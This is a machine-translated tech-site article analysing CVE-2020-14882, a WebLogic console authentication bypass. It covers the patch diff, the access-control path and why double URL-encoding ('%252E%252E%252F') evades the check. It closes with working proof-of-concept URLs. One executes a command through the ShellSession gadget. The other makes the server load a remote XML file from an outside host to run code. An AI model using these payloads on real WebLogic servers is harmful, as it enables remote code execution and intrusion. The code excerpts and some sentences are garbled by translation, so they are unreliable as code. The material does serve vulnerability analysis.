Shulou(Shulou.com)05/31 Report--

How to carry out the analysis of CVE-2020-14882 WebLogic ultra vires login, in view of this problem, this article introduces the corresponding analysis and solution in detail, hoping to help more partners who want to solve this problem to find a more simple and easy way.

Brief introduction

The weblogic management console requires a user name and password to log in, but through this vulnerability, you can bypass login verification and go directly to the background to access various resources of weblogic.

Patch diff

My weblogic version here is 12.2.1.4, and the other versions are more or less the same. Let's take a look at the patch diff results.

Because this class is a processing class accessed by weblogic from http, it directly forbids whether url contains dangerous characters, and if so, exits directly. The repair plan is simple and crude and has to be admired. There are mainly the following dangerous characters.

Private static final String [] IllegalUrl = new String [] {";", "% 252E%252E", "% 2E%2E", "..", "% 3C", "% 3e", ""}; weblogic Management console privilege Control Analysis

To analyze this hole, we first need to understand the access control of logging into the weblogic management console.

In the weblogic.servlet.internal.WebAppServletContext#doSecuredExecute method that handles url, call the following code to determine everything about security, such as permissions. The code is as follows.

If (context.getSecurityManager (). CheckAccess (req, rsp, applyAuthFilters, false)) {if (s! = null) {int count = ((SessionSecurityData) s) .getConcurrentRequestCount (); if (maxConcurrentRequestsAllowed! =-1 & & count > maxConcurrentRequestsAllowed) {context.logError ("Rejecting request since concurrent requests allowable limit exceeded:" + maxConcurrentRequestsAllowed); rsp.sendError (500); return;}}

In weblogic.servlet.security.internal.WebAppSecurity#checkAccess (HttpServletRequest, HttpServletResponse, boolean, boolean, boolean), determine whether all url require permissions. Of course, there is no need to log in to access static resources, probably for the sake of browser compatibility, because most browsers add cookie headers to access static resources after logging in, only individual browsers will not.

So weblogic will return a ResourceConstraint object based on the url accessed, that is, whether it is a static resource or not. This object describes the detailed permission information of the resources accessed by the url.

ResourceConstraint resourceConstraint = checkAllResources? Holder.ALL_CONSTRAINT: this.getConstraint (request); authorized = this.delegateModule.isAuthorized (request, response, resourceConstraint, applyAuthFilters)

Then call the weblogic.servlet.security.internal.SecurityModule#isAuthorized method, get the user session in this method, and call the weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess method to do further permission verification.

Finally, the weblogic.servlet.security.internal.WebAppSecurity#hasPermission method is called in weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm to determine whether the http request has permissions based on the ResourceConstraint object generated at the beginning. As shown in the figure.

If the user accesses a static resource, the value of unrestricted is returned, and hasPermission returns that true,weblogic thinks you have permission to access it, so it will be released. If you access non-static permissions, intercept your request directly and redirect to the landing page.

So the key to bypassing login is how to access the normal resource, but weblogic returns the ResourceConstraint object of the static resource.

Permission bypass analysis

Let's go back to the beginning.

ResourceConstraint resourceConstraint = checkAllResources? Holder.ALL_CONSTRAINT: this.getConstraint (request)

Follow weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint (java.lang.String, java.lang.String)

ResourceConstraint rcForAllMethods = consForAllMethods = = null? Null: (ResourceConstraint) consForAllMethods.get (relURI)

Here, weblogic.servlet.utils.StandardURLMapping#get is called to return the corresponding ResourceConstraint object according to url.

Public Object get (String path) {path = path.length () = = 0? "/": this.cased (path); Object value = null;if ((value = this.getExactOrPathMatch (path))! = null) {returnvalue;} else {return (value = this.getExtensionMatch (path))! = null? Value: this.getDefault ();}}

The getExactOrPathMatch method is called first, that is, whether the match is in the static resource list based on url.

And% 252E%252E%252F happens to be the result of url secondary coding of.. /. This returns the ResourceConstraint object of the static resource without affecting normal access.

Reasons for secondary coding of weblogic

We can see in poc that.. / is re-coded. Let's analyze the reasons why weblogic can solve it.

According to http regulations, the url part needs to be encoded by url and sent to the server. The server untied normally and continued processing. This is the first layer of url coding

The second layer of coding processing, in com.bea.netuix.servlets.manager.UIServletInternal#getTree.

Public static UIControl getTree (String requestPattern, UIContext ctxt, boolean setContentType, ResolvedLocale resolvedLocale) throws IOException, ServletException {HttpServletRequest request = ctxt.getServletRequest (); HttpServletResponse response = ctxt.getServletResponse (); requestPattern = URLDecoder.decode (requestPattern, containerServices.getWebappServices (). GetServerDefaultEncoding ())

URLDecoder.decode will decode the url after the first encoding for the second time, of course, if there is still url encoding in the url.

This is why twice coding can be bypassed.

Why can't url coding be bypassed once? Because after decoding once by the server, the static resource cannot be matched at the weblogic.servlet.utils.StandardURLMapping#get. Will be restored to the original url, so it can not be bypassed. If you have a chance, you can take a look at weblogic.utils.collections.MatchMap#match 's search code.

POCweblogic 12 http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

Because com.tangosol.coherence.mvel2.sh.ShellSession this gadget only exists in weblogic 12J weblogic10 and does not have this gadget (no package), it cannot be used.

Weblogic 10

Because weblogic 10 does not have an associated gadget, it will report an error, as shown in the figure.

Need to use com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

The poc is as follows.

This is the answer to http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.184.1:8000/spel.xml") 's analytical question on how to perform CVE-2020-14882 WebLogic ultra vires bypass login. I hope the above content can be of some help to you. If you still have a lot of questions to solve, you can follow the industry information channel to learn more about it.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.